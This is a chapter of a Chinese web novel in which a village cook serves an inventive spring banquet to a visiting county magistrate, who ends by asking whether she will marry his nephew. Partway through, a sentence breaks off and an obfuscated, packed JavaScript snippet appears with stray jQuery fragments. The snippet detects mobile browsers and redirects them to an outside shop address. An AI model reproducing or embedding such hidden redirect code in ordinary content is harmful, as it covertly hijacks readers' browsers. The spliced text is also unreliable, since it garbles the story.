25. 祭祀宴席(中)

作品:《我在古代做漂亮饭

    平安村广场古槐的枝桠上,一穗子白花倾泻而下,溢了满枝。粗粗的树干缠着几圈紫藤,更增了几分颜色。


    春风温柔拂面,摇着枝叶。不知不觉中,暖春已经来了。


    三叠冷盘上桌,先袭来的竟是花香。


    窦景成见一姑娘径直走到供案前,对雨师龙王像虔诚拜了三拜。他听周遭的村民都兴奋起来,议论纷纷。


    “是昭昭!”


    “沈厨娘出手,今日我们又有口福了~”


    “你们莫夸下海口,农家菜哪有你们说得这么神?”


    “昭昭的铁粉在此,红眼病们别太酸了!”


    ……


    她就是沈昭昭?窦景成手中不停捻着佛珠,眯起眼上下打量起面前的人。


    芙蓉面上杏眼清亮,竹青色袄裙简朴干净。发髻只随手一挽,上面插着朵白雏菊,愈发衬得她温婉可爱。


    怪不得他那个没出息的侄儿念念不忘,收了当房美妾也算赏心悦目。


    窦景成见沈昭昭转身回到主桌前,福了一礼,不卑不亢对众人打招呼。又专程向他道:“窦县令远道而来,是我们平安村的贵客。粗茶淡饭若有招待不周之处,还望大人海涵。”


    捻佛珠的指尖顿住,窦景成见沈昭昭认出他,心下觉得这个姑娘很是机灵,谈吐大方自如,不输高门贵女。几句话虽未放低自己,但不知不觉放低了听众的期待,听着也让人舒心。


    作为一个吃遍靖国的人来说,美厨娘他也不是没见过,最终还是要靠实力说话。他的目光移到桌上的冷盘上,只见盘中皆用淡色的花瓣做了装饰,清新中带着几分风雅。


    沈昭昭娓娓介绍道:“三道前菜,奶油蒜香法棍、春日藜麦塔塔、柚香皮蛋冷豆腐,请窦县令雅鉴。”


    几个菜名听得窦景成云里雾里,只听得“蒜”“藜麦”“豆腐”几个词。他的面色阴沉下来,又不好意思细问显得自己见识短浅。


    窦景成心中鄙夷,花拳绣腿、自作聪明,一看就是女人的菜色。他看着法棍棕黄的面,还以为是硬得像石头的粗粮面饼。


    遭不住众人灼灼的目光,他率先夹起一块蘸酱,勉强吃了一口。


    法棍外皮显得硬邦邦,里面却有宣软的气孔。酱汁微微咸,散发着黄油与蒜的焦香,又把外面的坚硬融了在口中。奶油细腻的口感中和了面饼的粗糙,咸甜交织,将人的味蕾瞬间打开。


    他瞳孔微微放大,口中咂摸着这少见的滋味儿。细品之后,又连忙将筷子伸入另一个盘中。


    王庆生紧盯着窦景成的面部,他见对方将那一片沾了酱的“饼子”送入口中,只不疾不徐嚼了几下。咽下后,那张脸上神色未变,不似赞许也不似发怒。


    王庆生拿不准窦景成的态度,一颗心还是悬在嗓子眼。


    春日藜麦塔塔小小一个,里面塞了炸过的藜麦、大粒芒果和肥嫩的三文鱼肉,顶部还点缀着橙红的飞鱼籽。窦景成用筷子夹起,轻点一下芥末酱,一口塞入嘴中。


    芥末的辣直冲天灵盖!


    “咳咳咳!”窦景成没防备,顿时呛了一口。


    王二见状大惊失色,连忙递上口温水。其他人的脸也吓白了,一丝大气也不敢喘。


    王庆生膝盖一软,又欲跪下求饶,沈昭昭做的菜呛到县令,全完了!


    唯有沈昭昭淡定至极,她看着窦景成没蘸太多芥末,应不至于呛过头。


    令众人意想不到的是,窦景成却摆摆手让王二退下。他自行平复半晌,又继续大口咀嚼起口中的塔来。


    酥脆的塔壳和肥嫩的三文鱼一软一硬在他口中呈现出绝妙的碰撞口感。刺身的鲜、芒果的甜、藜麦的香,让小小一个塔于口中迸发出三倍的滋味!


    这生鱼肉配上绿绿的蘸料怎会如此上头?一个塔太小了,根本不满足!好想连着吃个不停!


    窦景成刚想要再夹一个,又见众人都盯着自己,不好表现得太过贪婪,他犹豫半晌,终是将筷子伸向了最后一个盘中。


    最后一个盘中放着一块看似平平无奇、方方正正的嫩豆腐。上面铺了一层碎皮蛋丁,整块似淋了醋,撒着小葱、白芝麻、海苔丝和木鱼花。


    筷头轻触,窦景成才发觉整块豆腐其实中间已横竖切了几刀,分为了许多整齐叠在一处的小块。


    一入口,明媚的果香袭来——不是普通的陈醋,是清爽的柚子醋!


    皮蛋特殊的气味不再冲口,微微的胡椒、昆布、芝麻的香气含蓄地融入了淡淡的豆腐里。口感温润柔和,又不失个性。配料繁复多样、独立分明,一齐为这块豆腐增光增彩。


    窦景成终于慢慢放下筷子,一双古井无波的眼睛正视沈昭昭,问道:“这可是东洋风味?”


    沈昭昭微微颔首,答:“县令大人果然见多识广,这味豆腐确实加入了东洋的酱料。”


    其实此刻窦景成脑中还有无数的问题,想细问这三道前菜的具体做法。可惜眼下不是时候,他只平静地对众人说道:“沈姑娘的厨艺不错,诸位不必拘礼,也都尝尝吧。”


    得了窦景成的准许,桌上的其他人才敢举箸一尝。


    听沈昭昭的菜得了窦景成首肯,王庆生悬着的心终是放了下来,同桌上其他人一齐吃了起来。


    三道菜皆尝过后,一小桌人寂静无声。


    这味道已经不在他们认知的“美味”的范畴,每个人需要点时间消化消化。他们只知道自己的味蕾被狠狠取悦,脑子里已轰然炸开了一片烟花,从脚趾畅快到了天灵盖!


    过了半晌,几人张了张嘴,愣是一句话都说不出来。毕启功在袖底偷偷狠狠给王庆生竖了竖大拇指,他这老小子算是捡到宝了!


    尚倪的眼中竟淌下一行清泪,她率先打破了寂静,缓缓道:


    “我第一次喝陈年灵溪春的时候,才有这种感觉。”


    村民们不似主桌的人般含蓄,已沸腾起来乱作一团。有人瞪圆了眼,梗着脖子“嗷”一嗓子嚎出来,将人吓一大跳;旁边的人语无伦次地乱嚷,又忍不住叹气,不知是喜是悲……


    金宝和大毛端着碗不停在桌间乱窜,像被这从未尝过的滋味香得坐不住。


    “神仙宴席!天上的手艺!”


    “昭昭姑娘厨神下凡了!”


    “吃这一顿饭,我可以下地连着干三年活!”


    “乖乖,我以前吃的难道是猪食?”


    “我再也不当黑粉了,以后我也是沈老板的铁粉!”


    ……


    村民们实在太过躁动,直到王庆生出声制止,场面才勉强稳住了。


    前菜本分量不多,转眼便吃了干净。沈昭昭扫一眼空盘,波澜不惊地向远处挥挥手,示意上主菜。


    远处的青禾用胳膊创了创大师傅,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885672|190886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向沈昭昭努努嘴:“范宝宝,看你的好徒儿,有没有御厨风范。”


    大师傅拿了一块春日藜麦塔塔扔入嘴中,哈哈大笑起来:“何止呢,我看得是首席御厨!”


    桌桌都有一壶茶饮,里面是甜甜的蜂蜜柚子茶。倒入杯中晶莹剔透,不苦不涩,入口甘美。


    转眼间,第一道主菜已上了桌。一份小米煎饼配八个小碟,装在朴素的木盘里。小碟内是各不相同的配菜,皆可卷入煎饼中。


    村民们都眼都看直了,碟中的东西他们可太熟悉了!


    “这么粗,定是永昌村的大葱!”


    “这不是俺们平安村卖的麻油馓子嘛?”


    “我说怎么这么熟悉,原来是边水村招牌鲅鱼酱~”


    “还有过山岗的香椿酱,从小吃到大的!”


    虾皮、鲜辣椒酱、芝麻盐、酱菜丝都被村民们一一认了出来,原来煎饼的配料皆是桃源县不同地方的特产!


    “这才是家的滋味啊!”王庆生卷了一个,心突突突跳个不停。他需要边吃边停顿一下缓口气,这些特色从小吃到大,如何能不激动?


    他对这片土地的热爱、自豪,第一次吃到了口中!


    窦景成虽对桃源县没什么感情,但也注意到了村民的反应。他点头赞许道:“沈师傅的心思,用得巧,也用得实。祭祀宴席需得用本地特色才有诚意,日后也可作为桃源县的招牌宣传。”


    沈昭昭微微一笑,收下了夸赞。多亏了大师傅提醒,她才想到深入研究桃源县的各种特产。没想到一细究,又有了收获。


    主食是豆角猪肉打抛饭,沈昭昭将肉酱做成了东南亚风味,滋味霸道。看似平平无奇,实则不知不觉就能吃好几碗。


    汤品有香橙胡萝卜浓汤来润喉,碗中盛着一汪好看的落日金橙色。平日里小孩子不爱吃的胡萝卜,如今变成了浓密的汤汁,更为适口。香橙的味道呼应了蟹酿橙,让温敬德忍不住回想起那日的滋味。同样是橙子,能完美适配这么多菜色,沈昭昭真是鬼才!


    锦娘姜白芷咬着耳朵:“昭昭的手艺又进步了。寻常蔬菜做得出山珍海味一般的滋味。”


    姜白芷道:“是了,若昭昭的手艺让那窦景成瞧上,更是桩麻烦事儿。”


    一道道主菜又陆续被端上桌:玉如意鲜笋酿虾滑、芋头脆片拌鸡头米、柠檬香茅脆皮鸡翅、马蹄香椿圆子……看得人眼花缭乱、目不暇接。


    沈三七一一尝过,唇角勾起,眼底尽是温柔,自言自语道:“昭昭,你这是做了一场春天。”


    是勃勃生机、是春暖花开、是万物复苏!


    沈昭昭自身无尽的生命力在菜里,诉说得如此浓烈。


    滋味漫过舌底,漫到胃中,他知道他尝得懂她的一丝灵魂。


    几个青湛湛的圆团子被当作餐后甜点端上了桌,杏儿掰开一看,里面是黄澄澄的内馅。外皮软软糯糯,内里酸酸甜甜,还有一颗颗马蹄爆爆珠,咬起来好过瘾~


    玉露团是青禾的拿手好菜,沈昭昭学了后进行改良,在内馅里塞入杨枝甘露,美味加倍!


    “春日宴,绿酒一杯歌一遍。”


    王庆生乐呵呵地看着欢乐的宴席,又殷切给窦景成斟上一杯蜂蜜柚子茶,忙前忙后。


    窦景成接过饮了口,漫不经心道:


    “沈昭昭,你可有意嫁给我侄儿啊?”